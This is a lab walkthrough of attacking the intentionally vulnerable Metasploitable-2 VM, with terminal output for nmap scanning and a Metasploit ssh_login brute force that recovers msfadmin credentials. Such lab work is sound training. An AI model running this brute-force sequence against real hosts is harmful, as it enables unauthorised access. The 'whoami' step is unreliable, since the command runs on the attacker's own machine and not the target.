Penetration Testing on Vulnerable machine

Metasploitable-2

Set Both machine on same network

Open Linux and start its terminal

Step 1:- Scan your network with netdiscover command

We Found that Ip 192.168.235.135 is the IP of our Target Machine.

Step2:- Use nmap –sS –sV –A –p1-1000

To scan port of target machine from port number 1 to 1000.

```
Applications  Places  Terminal                    Jun 13 23:12
root@Vishalthakur: /home/vishal
Currently scanning: 172.16.52.0/16   |   Screen View: Unique Hosts

41 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 2460
-----------------------------------------------------------------------------
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.235.1   00:50:56:c0:00:08     33    1980  VMware, Inc.
192.168.235.2   00:50:56:e5:93:97      6     360  VMware, Inc.
192.168.235.135 00:0c:29:cb:46:f6      1      60  VMware, Inc.
192.168.235.254 00:50:56:f9:26:63      1      60  VMware, Inc.


┌──(root㉿Vishalthakur)-[/home/vishal]
└─# nmap -sS -sV -A -p1-1000 192.168.235.135
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-13 22:50 IST
Nmap scan report for 192.168.235.135
Host is up (0.00061s latency).
Not shown: 988 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.235.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
```

We See that Port Number **22/tcp** whose state is open and have service SSH running on it .

```
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp  open  telnet      Linux telnetd
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMI
ME, DSN
|_ssl-date: 2024-06-13T17:21:06+00:00; 0s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such th
ing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
```

Step3 :- Use msfconsole

It provide various auxiliary,payloads and exploits to enter in Machine

```
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.235.135

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.40 seconds

┌──(root㉿Vishalthakur)-[/home/vishal]
└─# msfconsole
```

Step4 :- Search ssh_login

We try to enter from port no 22 which is ssh so we search its auxiliaries.

```
Applications  Places  Terminal                    Jun 13 23:13
root@Vishalthakur: /home/vishal

      =[ metasploit v6.3.21-dev                          ]
+ -- --=[ 2327 exploits - 1218 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params
set LHOST eth0
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ssh_login

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                            normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                     normal  No     SSH Public Key Login Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 > use0
[-] Unknown command: use0
msf6 > use 0
```

Step5 :- Use 0 auxilirary/scanner/ssh/ssh_login.

Step6:- Show Options

This command give you the information about the ssh_login auxilirary Options.

```
Applications  Places  Terminal                    Jun 13 23:13
root@Vishalthakur: /home/vishal
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: non
                                                e, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                                it/basics/using-metasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per li
                                                ne
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts
```

Step7 :- Now set the Options according to our recquirment.

- **set RHOSTS =** your target Machine IP
- **set STOP_ON_SUCCESS = true**
- **Set USER_FILE =** your user file for attack
- **set PASS_FILE =** your password file associated for user file

```
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.235.135
RHOSTS => 192.168.235.135
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_File /home/vishal/Desktop/id.txt
USER_File => /home/vishal/Desktop/id.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/vishal/Desktop/id.txt
USER_FILE => /home/vishal/Desktop/id.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/vishal/Desktop/pass.txt
PASS_FILE => /home/vishal/Desktop/pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name             Current Setting               Required  Description
   ----             ---------------               --------  -----------
   BLANK_PASSWORDS  false                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED 5                             yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS     false                         no        Try each user/password couple stored in the current datab
                                                            ase
   DB_ALL_PASS      false                         no        Add all passwords in the current database to the list
   DB_ALL_USERS     false                         no        Add all users in the current database to the list
   DB_SKIP_EXISTING none                          no        Skip existing credentials stored in the current database
                                                            (Accepted: none, user, user&realm)
   PASSWORD                                       no        A specific password to authenticate with
```

Step 8:- Show Options to check the options you set are successful.

```
   Name             Current Setting               Required  Description
   ----             ---------------               --------  -----------
   BLANK_PASSWORDS  false                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED 5                             yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS     false                         no        Try each user/password couple stored in the current datab
                                                            ase
   DB_ALL_PASS      false                         no        Add all passwords in the current database to the list
   DB_ALL_USERS     false                         no        Add all users in the current database to the list
   DB_SKIP_EXISTING none                          no        Skip existing credentials stored in the current database
                                                            (Accepted: none, user, user&realm)
   PASSWORD                                       no        A specific password to authenticate with
   PASS_FILE        /home/vishal/Desktop/pass.txt no        File containing passwords, one per line
   RHOSTS           192.168.235.135               yes       The target host(s), see https://docs.metasploit.com/docs/
                                                            using-metasploit/basics/using-metasploit.html
   RPORT            22                            yes       The target port
   STOP_ON_SUCCESS  true                          yes       Stop guessing when a credential works for a host
   THREADS          1                             yes       The number of concurrent threads (max one per host)
   USERNAME                                       no        A specific username to authenticate as
   USERPASS_FILE                                  no        File containing users and passwords separated by space, o
                                                            ne pair per line
   USER_AS_PASS     false                         no        Try the username as the password for all users
   USER_FILE        /home/vishal/Desktop/id.txt   no        File containing usernames, one per line
   VERBOSE          true                          yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

Step 9:- Exploit it will start the execution of attack by doing continuously striking id password of id file and pass file.

When it got the Success it stop the execution.

```
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 192.168.235.135:22 - Starting bruteforce
[-] 192.168.235.135:22 - Failed: '123:login '
[!] No active DB -- Credential data will not be saved!
[-] 192.168.235.135:22 - Failed: '123:user'
[-] 192.168.235.135:22 - Failed: '123:2gy'
[-] 192.168.235.135:22 - Failed: '123:msfadmin'
[-] 192.168.235.135:22 - Failed: 'login:login '
[-] 192.168.235.135:22 - Failed: 'login:user'
[-] 192.168.235.135:22 - Failed: 'login:2gy'
[-] 192.168.235.135:22 - Failed: 'login:msfadmin'
[-] 192.168.235.135:22 - Failed: '9opl:login '
[-] 192.168.235.135:22 - Failed: '9opl:user'
[-] 192.168.235.135:22 - Failed: '9opl:2gy'
[-] 192.168.235.135:22 - Failed: '9opl:msfadmin'
[-] 192.168.235.135:22 - Failed: 'msfadmin:login '
[-] 192.168.235.135:22 - Failed: 'msfadmin:user'
[-] 192.168.235.135:22 - Failed: 'msfadmin:2gy'
[+] 192.168.235.135:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24
(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmi
n) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.235.128:41481 -> 192.168.235.135:22) at 2024-06-13 22:59:34 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > whoami
```

Step 10:- Check your user by **whoami** Command.

```
[-] 192.168.235.135:22 - Failed: '9opl:login '
[-] 192.168.235.135:22 - Failed: '9opl:user'
[-] 192.168.235.135:22 - Failed: '9opl:2gy'
[-] 192.168.235.135:22 - Failed: '9opl:msfadmin'
[-] 192.168.235.135:22 - Failed: 'msfadmin:login '
[-] 192.168.235.135:22 - Failed: 'msfadmin:user'
[-] 192.168.235.135:22 - Failed: 'msfadmin:2gy'
[+] 192.168.235.135:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24
(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmi
n) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.235.128:41481 -> 192.168.235.135:22) at 2024-06-13 22:59:34 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > whoami
[*] exec: whoami

root
msf6 auxiliary(scanner/ssh/ssh_login) > ls
[*] exec: ls

Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  vishal  xyz.txt  zphisher
msf6 auxiliary(scanner/ssh/ssh_login) > ls
[*] exec: ls

Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  vishal  xyz.txt  zphisher
msf6 auxiliary(scanner/ssh/ssh_login) >
```

Step11:- Open the target Machine (Metasploitable-2)

Enter the ID and Pass which got success in attack

Id => msfadmin

Pass=> msfadmin